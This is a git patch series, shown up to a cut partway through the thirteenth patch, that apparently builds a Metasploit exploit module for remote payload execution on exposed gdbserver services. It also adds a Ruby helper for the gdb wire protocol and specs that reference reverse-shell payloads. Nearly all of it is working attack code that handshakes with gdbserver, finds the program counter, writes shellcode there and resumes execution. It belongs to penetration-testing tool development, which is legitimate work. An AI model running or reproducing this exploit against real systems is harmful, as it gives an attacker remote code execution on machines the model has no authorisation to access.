From 4e63faea083634fc1fd5ef8cb78dba0b7f7b44aa Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 24 Aug 2014 01:10:30 -0500 Subject: [PATCH 01/16] Get a shell from a loose gdbserver session. --- lib/msf/core/exploit/gdb.rb | 143 ++++++++++++++++++ lib/msf/core/exploit/mixins.rb | 1 + lib/rex/arch.rb | 2 +- modules/exploits/multi/gdb/gdb_server_exec.rb | 51 +++++++ 4 files changed, 196 insertions(+), 1 deletion(-) create mode 100644 lib/msf/core/exploit/gdb.rb create mode 100644 modules/exploits/multi/gdb/gdb_server_exec.rb diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb new file mode 100644 index 0000000000..457785d42a --- /dev/null +++ b/lib/msf/core/exploit/gdb.rb @@ -0,0 +1,143 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/tcp' + +module Msf + +# +# Implement some helpers for communicating with a remote gdb instance. +# +# More info on the gdb protocol can be found here: +# https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Overview +# + +module Exploit::Remote::Gdb + + # Default list of supported GDB features to send the to the target + GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' + + # Maps arch -> index of register in GDB that holds $PC + PC_REGISTERS = { + ARCH_X86 => '08', + ARCH_X64 => '10' + } + + include Msf::Exploit::Remote::Tcp + + # Send an ACK packet + def send_ack + sock.put('+') + vprint_status('Sending ack...') + end + + # Reads an ACK packet from the wire + # @raise ['received bad ack'] if a bad ACK is received + def read_ack + unless sock.get_once == '+' + raise 'received bad ack' + end + vprint_status('Received ack...') + end + + # Sends a command and receives an ACK from the remote. + # @param cmd [String] the gdb command to run. The command is will be + # wrapped '$' prefix and checksum. + def send_cmd(cmd) + full_cmd = '$' + cmd + '#' + checksum(cmd) + vprint_status('Sending cmd: '+full_cmd) + sock.put(full_cmd) + read_ack + end + + # Reads (and possibly decodes) from the socket and sends an ACK to verify receipt + # @param opts [Hash] the options hash + # @option opts :decode [Boolean] rle decoding should be applied to the response + # @return [String] the response + def read_response(opts={}) + decode = opts.fetch(:decode, false) + res = sock.get_once + res = decode_rle(res) if decode + vprint_status('Result: '+res) + send_ack + res + end + + # Implements decoding of gdbserver's Run-Length-Encoding that is applied + # on some hex values to collapse repeated characters. + # + # https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Binary-Data + # + # @param msg [String] the message to decode + # @return [String] the decoded result + def decode_rle(msg) + vprint_status "Before decoding: #{msg}" + msg.gsub /.\*./ do |match| + match.bytes.to_a.first.chr * (match.bytes.to_a.last - 29 + 1) + end + end + + # The two-digit checksum is computed as the modulo 256 sum of all characters + # between the leading ‘$’ and the trailing ‘#’ (an eight bit unsigned checksum). + # @param [String] str the string to calculate the checksum of + # @return [String] hex string containing checksum + def checksum(str) + "%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 } + end + + # Gets the current instruction by stepping and parsing the PC register from response + # @return [String] containing the hex-encoded address stored in EIP + def get_pc + # on x64 it is the register under the key "10" + idx = pc_reg_index(target.arch) + pc = step.split(';').map { |r| r =~ /#{idx}:([a-f0-9]*)/ and $1 }.compact.first + # convert to desired endian/ptr size for a given arch + addr = Rex::Arch.pack_addr(target.arch, Integer(pc, 16)) + Rex::Text.to_hex(addr, '') + end + + # Writes the buffer +buf+ to the address +addr+ in the remote process's memory + # @param buf [String] the buffer to write + # @param addr [String] the hex-encoded address to write to + def write(buf, addr) + hex = Rex::Text.to_hex(buf, '') + send_cmd "M#{addr},#{buf.length.to_s(16)}:#{hex}" + read_response + end + + # Continues execution of the remote process + # @param opts [Hash] the options hash + # @option opts :read [Boolean] read the response + def continue(opts={}) + send_cmd 'vCont;c' + read_response if opts.fetch(:read, true) + end + + # Executes one instruction on the remote process + # @return [String] a list of key/value pairs, including current PC + def step + send_cmd 'vCont;s' + read_response(decode: true) + end + + # Performs a handshake packet exchange + # @param features [String] the list of supported features to tell the remote + # host that the client supports (defaults to +DEFAULT_GDB_FEATURES+) + def handshake(features=GDB_FEATURES) + send_ack + send_cmd features + read_response # lots of flags, nothing interesting + end + + # @param arch [String, Array] the current system architecture + # @return [String] hex index of the register that contains $PC for the current arch + def pc_reg_index(arch) + if arch.is_a?(Array) + arch = arch[0] + end + + PC_REGISTERS[arch] + end + +end + +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 9f2fdd9669..13b46b86ee 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -47,6 +47,7 @@ require 'msf/core/exploit/snmp' require 'msf/core/exploit/arkeia' require 'msf/core/exploit/ndmp' require 'msf/core/exploit/imap' +require 'msf/core/exploit/gdb' require 'msf/core/exploit/smtp_deliver' require 'msf/core/exploit/pop2' require 'msf/core/exploit/tns' diff --git a/lib/rex/arch.rb b/lib/rex/arch.rb index 13e6c99c27..dfb88e3b19 100644 --- a/lib/rex/arch.rb +++ b/lib/rex/arch.rb @@ -48,7 +48,7 @@ module Arch case arch when ARCH_X86 [addr].pack('V') - when ARCH_X86_64 + when ARCH_X86_64, ARCH_X64 [addr].pack('Q<') when ARCH_MIPS # ambiguous [addr].pack('N') diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb new file mode 100644 index 0000000000..b6d9321ff3 --- /dev/null +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -0,0 +1,51 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Gdb + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GDB Remote Server Payload Execution', + 'Description' => %q{ + This module attempts to execute an arbitrary payload on a gdbserver service. + }, + 'Author' => [ 'joev' ], + 'Targets' => [ + [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'Platform' => [ 'linux', 'unix', 'osx', 'windows' ] + )) + end + + def exploit + connect + + print_status "Performing handshake with gdbserver..." + handshake + + print_status "Stepping program to find PC..." + pc = get_pc + + print_status "Writing payload at #{pc}..." + write(payload.encoded, pc) + + print_status "Executing the payload..." + continue + + # gdb throws a SIGINT on the execve, so a second continue is necessary + continue(read: false) + + handler + disconnect + end + +end From c65ba200179722c802a943c95298a1122a2abd7d Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 24 Aug 2014 01:15:34 -0500 Subject: [PATCH 02/16] Fix incorrect Platforms key. --- modules/exploits/multi/gdb/gdb_server_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index b6d9321ff3..7dace3c84e 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -21,8 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], - 'DefaultTarget' => 0, - 'Platform' => [ 'linux', 'unix', 'osx', 'windows' ] + 'DefaultTarget' => 0 )) end From 1d3531d09df761de883fc2279147dabc56de30de Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 24 Aug 2014 01:17:32 -0500 Subject: [PATCH 03/16] Put include above constant defs. --- lib/msf/core/exploit/gdb.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index 457785d42a..5f3e9b5e4b 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -13,6 +13,8 @@ module Msf module Exploit::Remote::Gdb + include Msf::Exploit::Remote::Tcp + # Default list of supported GDB features to send the to the target GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' @@ -22,8 +24,6 @@ module Exploit::Remote::Gdb ARCH_X64 => '10' } - include Msf::Exploit::Remote::Tcp - # Send an ACK packet def send_ack sock.put('+') From 04d0b870671a5ad82b1984059adf2b5c0f61dddd Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 24 Aug 2014 01:18:21 -0500 Subject: [PATCH 04/16] Reorder module title. --- modules/exploits/multi/gdb/gdb_server_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index 7dace3c84e..f89971f40f 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'GDB Remote Server Payload Execution', + 'Name' => 'GDB Server Remote Payload Execution', 'Description' => %q{ This module attempts to execute an arbitrary payload on a gdbserver service. }, From 88f626184c3a56252b03709eff7a07aeba0b54ce Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 24 Aug 2014 01:39:04 -0500 Subject: [PATCH 05/16] Remove linux platform limitation, target depends on arch only. --- modules/exploits/multi/gdb/gdb_server_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index f89971f40f..bf575a67bd 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -18,9 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'joev' ], 'Targets' => [ - [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], - [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + [ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ], + [ 'x64 (64-bit)', { 'Arch' => ARCH_X64 } ] ], + 'Platform' => %w(linux unix osx windows), 'DefaultTarget' => 0 )) end From 6313b29b7a0ab9a40c6a33c82a240d29b3767079 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 24 Aug 2014 02:22:15 -0500 Subject: [PATCH 06/16] Add #arch method to Msf::EncodedPayload. This allows exploits with few one automatic target to support many different architectures. --- lib/msf/core/encoded_payload.rb | 9 +++++ lib/msf/core/exploit/gdb.rb | 18 +++++----- modules/exploits/multi/gdb/gdb_server_exec.rb | 14 ++++---- spec/lib/msf/core/encoded_payload_spec.rb | 36 +++++++++++++++++++ 4 files changed, 59 insertions(+), 18 deletions(-) create mode 100644 spec/lib/msf/core/encoded_payload_spec.rb diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 7396ff0aa2..36d46c3455 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -404,6 +404,15 @@ class EncodedPayload Msf::Util::EXE.to_jsp_war(encoded_exe(opts), opts) end + # + # An array containing the architecture(s) that this payload was made to run on + # + def arch + if pinst + pinst.arch + end + end + # # The raw version of the payload # diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index 5f3e9b5e4b..baa7784a9b 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -21,7 +21,8 @@ module Exploit::Remote::Gdb # Maps arch -> index of register in GDB that holds $PC PC_REGISTERS = { ARCH_X86 => '08', - ARCH_X64 => '10' + ARCH_X64 => '10', + ARCH_X86_64 => '10' } # Send an ACK packet @@ -88,10 +89,10 @@ module Exploit::Remote::Gdb # @return [String] containing the hex-encoded address stored in EIP def get_pc # on x64 it is the register under the key "10" - idx = pc_reg_index(target.arch) + idx = pc_reg_index(payload.arch) pc = step.split(';').map { |r| r =~ /#{idx}:([a-f0-9]*)/ and $1 }.compact.first # convert to desired endian/ptr size for a given arch - addr = Rex::Arch.pack_addr(target.arch, Integer(pc, 16)) + addr = Rex::Arch.pack_addr(payload.arch, Integer(pc, 16)) Rex::Text.to_hex(addr, '') end @@ -128,14 +129,11 @@ module Exploit::Remote::Gdb read_response # lots of flags, nothing interesting end - # @param arch [String, Array] the current system architecture + # @param my_arch [String, Array] the current system architecture # @return [String] hex index of the register that contains $PC for the current arch - def pc_reg_index(arch) - if arch.is_a?(Array) - arch = arch[0] - end - - PC_REGISTERS[arch] + def pc_reg_index(my_arch) + if my_arch.is_a?(Array) then my_arch = my_arch[0] end + PC_REGISTERS[my_arch] end end diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index bf575a67bd..8c37c98ac9 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -12,16 +12,14 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'GDB Server Remote Payload Execution', - 'Description' => %q{ + 'Name' => 'GDB Server Remote Payload Execution', + 'Description' => %q{ This module attempts to execute an arbitrary payload on a gdbserver service. }, - 'Author' => [ 'joev' ], - 'Targets' => [ - [ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ], - [ 'x64 (64-bit)', { 'Arch' => ARCH_X64 } ] - ], - 'Platform' => %w(linux unix osx windows), + 'Author' => [ 'joev' ], + 'Targets' => [ [ 'Automatic', {} ] ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Platform' => %w(linux unix osx windows), 'DefaultTarget' => 0 )) end diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb new file mode 100644 index 0000000000..dce2df7298 --- /dev/null +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -0,0 +1,36 @@ +require 'spec_helper' +require 'msf/core/encoded_payload' + +describe Msf::EncodedPayload do + PAYLOAD_FRAMEWORK = Msf::Simple::Framework.create( + :module_types => [::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP], + 'DisableDatabase' => true, + 'DisableLogging' => true + ) + + let(:framework) { PAYLOAD_FRAMEWORK } + let(:payload) { 'linux/x86/shell_reverse_tcp' } + let(:pinst) { framework.payloads.create(payload) } + + subject(:encoded_payload) do + described_class.new(framework, pinst, {}) + end + + describe '#arch' do + context 'when payload is linux/x86 reverse tcp' do + let(:payload) { 'linux/x86/shell_reverse_tcp' } + + it 'returns ["X86"]' do + expect(encoded_payload.arch).to eq [ARCH_X86] + end + end + + context 'when payload is linux/x64 reverse tcp' do + let(:payload) { 'linux/x64/shell_reverse_tcp' } + + it 'returns ["X86_64"]' do + expect(encoded_payload.arch).to eq [ARCH_X86_64] + end + end + end +end From 120f416f9c6845ad14abd622a4aa92d706bbe3cd Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 24 Aug 2014 02:36:09 -0500 Subject: [PATCH 07/16] Add spec for Msf::EncodedPayload.create. --- spec/lib/msf/core/encoded_payload_spec.rb | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb index dce2df7298..cfd0e0e074 100644 --- a/spec/lib/msf/core/encoded_payload_spec.rb +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -16,6 +16,25 @@ describe Msf::EncodedPayload do described_class.new(framework, pinst, {}) end + describe '.create' do + + context 'when passed a valid payload instance' do + + subject(:created_payload) do + described_class.create(pinst) + end + + # don't ever actually generate payload bytes + before { Msf::EncodedPayload.any_instance.stub(:generate) } + + it 'returns an Msf::EncodedPayload instance' do + expect(created_payload).to be_an(Msf::EncodedPayload) + end + + end + + end + describe '#arch' do context 'when payload is linux/x86 reverse tcp' do let(:payload) { 'linux/x86/shell_reverse_tcp' } From a27754c5c190a2403ba7bed01bcda2adcce49783 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 24 Aug 2014 02:41:37 -0500 Subject: [PATCH 08/16] Tweak specs a bit. --- spec/lib/msf/core/encoded_payload_spec.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb index cfd0e0e074..b5706799ff 100644 --- a/spec/lib/msf/core/encoded_payload_spec.rb +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -16,19 +16,19 @@ describe Msf::EncodedPayload do described_class.new(framework, pinst, {}) end + it 'is an Msf::EncodedPayload' do + expect(encoded_payload).to be_a(described_class) + end + describe '.create' do context 'when passed a valid payload instance' do - subject(:created_payload) do - described_class.create(pinst) - end - # don't ever actually generate payload bytes - before { Msf::EncodedPayload.any_instance.stub(:generate) } + before { described_class.any_instance.stub(:generate) } it 'returns an Msf::EncodedPayload instance' do - expect(created_payload).to be_an(Msf::EncodedPayload) + expect(described_class.create(pinst)).to be_a(described_class) end end From c4a173e94360182cbf31e688a64fc458ff001177 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Mon, 25 Aug 2014 14:14:47 -0500 Subject: [PATCH 09/16] Remove automatic target, couldn't figure out generic payloads. --- lib/msf/core/exploit/gdb.rb | 52 +++++++++++-------- modules/exploits/multi/gdb/gdb_server_exec.rb | 21 +++++--- 2 files changed, 43 insertions(+), 30 deletions(-) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index baa7784a9b..466254a168 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -18,11 +18,10 @@ module Exploit::Remote::Gdb # Default list of supported GDB features to send the to the target GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' - # Maps arch -> index of register in GDB that holds $PC + # Maps index of register in GDB that holds $PC to architecture PC_REGISTERS = { - ARCH_X86 => '08', - ARCH_X64 => '10', - ARCH_X86_64 => '10' + '08' => ARCH_X86, + '10' => ARCH_X86_64 } # Send an ACK packet @@ -32,7 +31,7 @@ module Exploit::Remote::Gdb end # Reads an ACK packet from the wire - # @raise ['received bad ack'] if a bad ACK is received + # @raise [RuntimeError] if a bad ACK is received def read_ack unless sock.get_once == '+' raise 'received bad ack' @@ -85,17 +84,6 @@ module Exploit::Remote::Gdb "%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 } end - # Gets the current instruction by stepping and parsing the PC register from response - # @return [String] containing the hex-encoded address stored in EIP - def get_pc - # on x64 it is the register under the key "10" - idx = pc_reg_index(payload.arch) - pc = step.split(';').map { |r| r =~ /#{idx}:([a-f0-9]*)/ and $1 }.compact.first - # convert to desired endian/ptr size for a given arch - addr = Rex::Arch.pack_addr(payload.arch, Integer(pc, 16)) - Rex::Text.to_hex(addr, '') - end - # Writes the buffer +buf+ to the address +addr+ in the remote process's memory # @param buf [String] the buffer to write # @param addr [String] the hex-encoded address to write to @@ -105,6 +93,24 @@ module Exploit::Remote::Gdb read_response end + # Steps execution and finds $PC pointer and architecture + # @return [Hash] with :arch and :pc keys containing architecture and PC pointer + def process_info + data = step + pc_data = data.split(';')[2].split(':') + my_arch = PC_REGISTERS[pc_data[0]] + pc = pc_data[1] + + if my_arch.nil? + raise RuntimeError, "Could not detect a supported arch from response to step:\n#{pc_data}" + end + + { + arch: my_arch, + pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), '') + } + end + # Continues execution of the remote process # @param opts [Hash] the options hash # @option opts :read [Boolean] read the response @@ -114,6 +120,13 @@ module Exploit::Remote::Gdb end # Executes one instruction on the remote process + # + # The results of running "step" will look like: + # x86: $T0505:00000000;04:a0f7ffbf;08:d2f0fdb7;thread:p2d39.2d39;core:0;#53 + # x64: $T0506:0000000000000000;07:b0587f9fff7f0000;10:d3e29d03057f0000;thread:p8bf9.8bf9;core:0;#df + # The third comma-separated field will contain EIP, and the register index + # will let us deduce the remote architecture (through PC_REGISTERS lookup) + # # @return [String] a list of key/value pairs, including current PC def step send_cmd 'vCont;s' @@ -129,13 +142,6 @@ module Exploit::Remote::Gdb read_response # lots of flags, nothing interesting end - # @param my_arch [String, Array] the current system architecture - # @return [String] hex index of the register that contains $PC for the current arch - def pc_reg_index(my_arch) - if my_arch.is_a?(Array) then my_arch = my_arch[0] end - PC_REGISTERS[my_arch] - end - end end diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index 8c37c98ac9..fbcf332d6c 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -17,9 +17,12 @@ class Metasploit3 < Msf::Exploit::Remote This module attempts to execute an arbitrary payload on a gdbserver service. }, 'Author' => [ 'joev' ], - 'Targets' => [ [ 'Automatic', {} ] ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Platform' => %w(linux unix osx windows), + 'Targets' => [ + [ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ], + [ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ] + ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => %w(linux), 'DefaultTarget' => 0 )) end @@ -31,16 +34,20 @@ class Metasploit3 < Msf::Exploit::Remote handshake print_status "Stepping program to find PC..." - pc = get_pc + gdb_pc, gdb_arch = process_info.values_at :pc, :arch - print_status "Writing payload at #{pc}..." - write(payload.encoded, pc) + unless arch.include? gdb_arch + fail_with('The payload architecture is incorrect.') + end + + print_status "Writing payload at #{gdb_pc}..." + write(payload.encoded, gdb_pc) print_status "Executing the payload..." continue # gdb throws a SIGINT on the execve, so a second continue is necessary - continue(read: false) + continue(read: false) # don't wait on response, as the shell is now looping handler disconnect From b652ebb44f146401d614fc9a2a98768668be9f5d Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Mon, 25 Aug 2014 14:15:20 -0500 Subject: [PATCH 10/16] Add other gdb-supported platforms that run on allowed arches. --- modules/exploits/multi/gdb/gdb_server_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index fbcf332d6c..3286de1640 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -21,8 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ], [ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ] ], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], - 'Platform' => %w(linux), + 'Platform' => %w(linux unix osx windows), 'DefaultTarget' => 0 )) end From 6d3255a3b5ba5ed02705250590d097a24d86e28b Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Mon, 25 Aug 2014 14:43:23 -0500 Subject: [PATCH 11/16] Update bad config error. --- modules/exploits/multi/gdb/gdb_server_exec.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index 3286de1640..4f6696e9d0 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -35,8 +35,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status "Stepping program to find PC..." gdb_pc, gdb_arch = process_info.values_at :pc, :arch - unless arch.include? gdb_arch - fail_with('The payload architecture is incorrect.') + unless payload.arch.include? gdb_arch + fail_with( + Msf::Exploit::Failure::BadConfig, + "The payload architecture is incorrect: "+ + "the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb." + ) end print_status "Writing payload at #{gdb_pc}..." From 268d42cf07125dfe85781b6161c2215790415cdf Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 3 Sep 2014 14:56:22 -0500 Subject: [PATCH 12/16] Add PrependFork to payload options. --- lib/msf/core/exploit/gdb.rb | 8 ++++++++ modules/exploits/multi/gdb/gdb_server_exec.rb | 20 +++++++------------ 2 files changed, 15 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index 466254a168..97d823e6d7 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -119,6 +119,14 @@ module Exploit::Remote::Gdb read_response if opts.fetch(:read, true) end + # Detaches from the remote process + # @param opts [Hash] the options hash + # @option opts :read [Boolean] read the response + def detach(opts={}) + send_cmd 'D' + read_response if opts.fetch(:read, true) + end + # Executes one instruction on the remote process # # The results of running "step" will look like: diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index 4f6696e9d0..ee11980dba 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -21,8 +21,11 @@ class Metasploit3 < Msf::Exploit::Remote [ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ], [ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ] ], - 'Platform' => %w(linux unix osx windows), - 'DefaultTarget' => 0 + 'Platform' => %w(linux unix osx), + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PrependFork' => true + } )) end @@ -35,23 +38,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status "Stepping program to find PC..." gdb_pc, gdb_arch = process_info.values_at :pc, :arch - unless payload.arch.include? gdb_arch - fail_with( - Msf::Exploit::Failure::BadConfig, - "The payload architecture is incorrect: "+ - "the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb." - ) - end + p = regenerate_payload(nil, gdb_arch, nil) print_status "Writing payload at #{gdb_pc}..." - write(payload.encoded, gdb_pc) + write(p.encoded, gdb_pc) print_status "Executing the payload..." continue - # gdb throws a SIGINT on the execve, so a second continue is necessary - continue(read: false) # don't wait on response, as the shell is now looping - handler disconnect end From 4293500a5ede6f230960e2effa2ef358e7908067 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 3 Sep 2014 15:56:21 -0500 Subject: [PATCH 13/16] Implement running exe in multi. --- lib/msf/core/exploit/gdb.rb | 25 ++++++++++++--- modules/exploits/multi/gdb/gdb_server_exec.rb | 32 ++++++++++++++++--- 2 files changed, 49 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index 97d823e6d7..5dc3fd9e5f 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -15,6 +15,12 @@ module Exploit::Remote::Gdb include Msf::Exploit::Remote::Tcp + # thrown when an expected ACK packet is never received + class BadAckError < RuntimeError; end + + # thrown when a response is incorrect + class BadResponseError < RuntimeError; end + # Default list of supported GDB features to send the to the target GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' @@ -31,10 +37,10 @@ module Exploit::Remote::Gdb end # Reads an ACK packet from the wire - # @raise [RuntimeError] if a bad ACK is received + # @raise [BadAckError] if a bad ACK is received def read_ack unless sock.get_once == '+' - raise 'received bad ack' + raise BadAckError end vprint_status('Received ack...') end @@ -53,9 +59,11 @@ module Exploit::Remote::Gdb # @param opts [Hash] the options hash # @option opts :decode [Boolean] rle decoding should be applied to the response # @return [String] the response + # @raise [BadResponseError] if the expected response is missing def read_response(opts={}) decode = opts.fetch(:decode, false) res = sock.get_once + raise BadResponseError if res.nil? res = decode_rle(res) if decode vprint_status('Result: '+res) send_ack @@ -95,9 +103,12 @@ module Exploit::Remote::Gdb # Steps execution and finds $PC pointer and architecture # @return [Hash] with :arch and :pc keys containing architecture and PC pointer + # @raise [BadResponseError] if necessary data is missing def process_info data = step - pc_data = data.split(';')[2].split(':') + pc_data = data.split(';')[2] + raise BadResponseError if pc_data.nil? + pc_data = pc_data.split(':') my_arch = PC_REGISTERS[pc_data[0]] pc = pc_data[1] @@ -107,7 +118,8 @@ module Exploit::Remote::Gdb { arch: my_arch, - pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), '') + pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''), + pc_raw: Integer(pc, 16) } end @@ -141,6 +153,11 @@ module Exploit::Remote::Gdb read_response(decode: true) end + def run(filename) + send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}" + read_response + end + # Performs a handshake packet exchange # @param features [String] the list of supported features to tell the remote # host that the client supports (defaults to +DEFAULT_GDB_FEATURES+) diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index ee11980dba..ccb1daaa88 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -27,6 +27,14 @@ class Metasploit3 < Msf::Exploit::Remote 'PrependFork' => true } )) + + register_options([ + OptString.new('EXE_FILE', [ + false, + "The exe to spawn when gdbserver is not attached to a process.", + '/bin/true' + ]) + ], self.class) end def exploit @@ -35,13 +43,29 @@ class Metasploit3 < Msf::Exploit::Remote print_status "Performing handshake with gdbserver..." handshake - print_status "Stepping program to find PC..." - gdb_pc, gdb_arch = 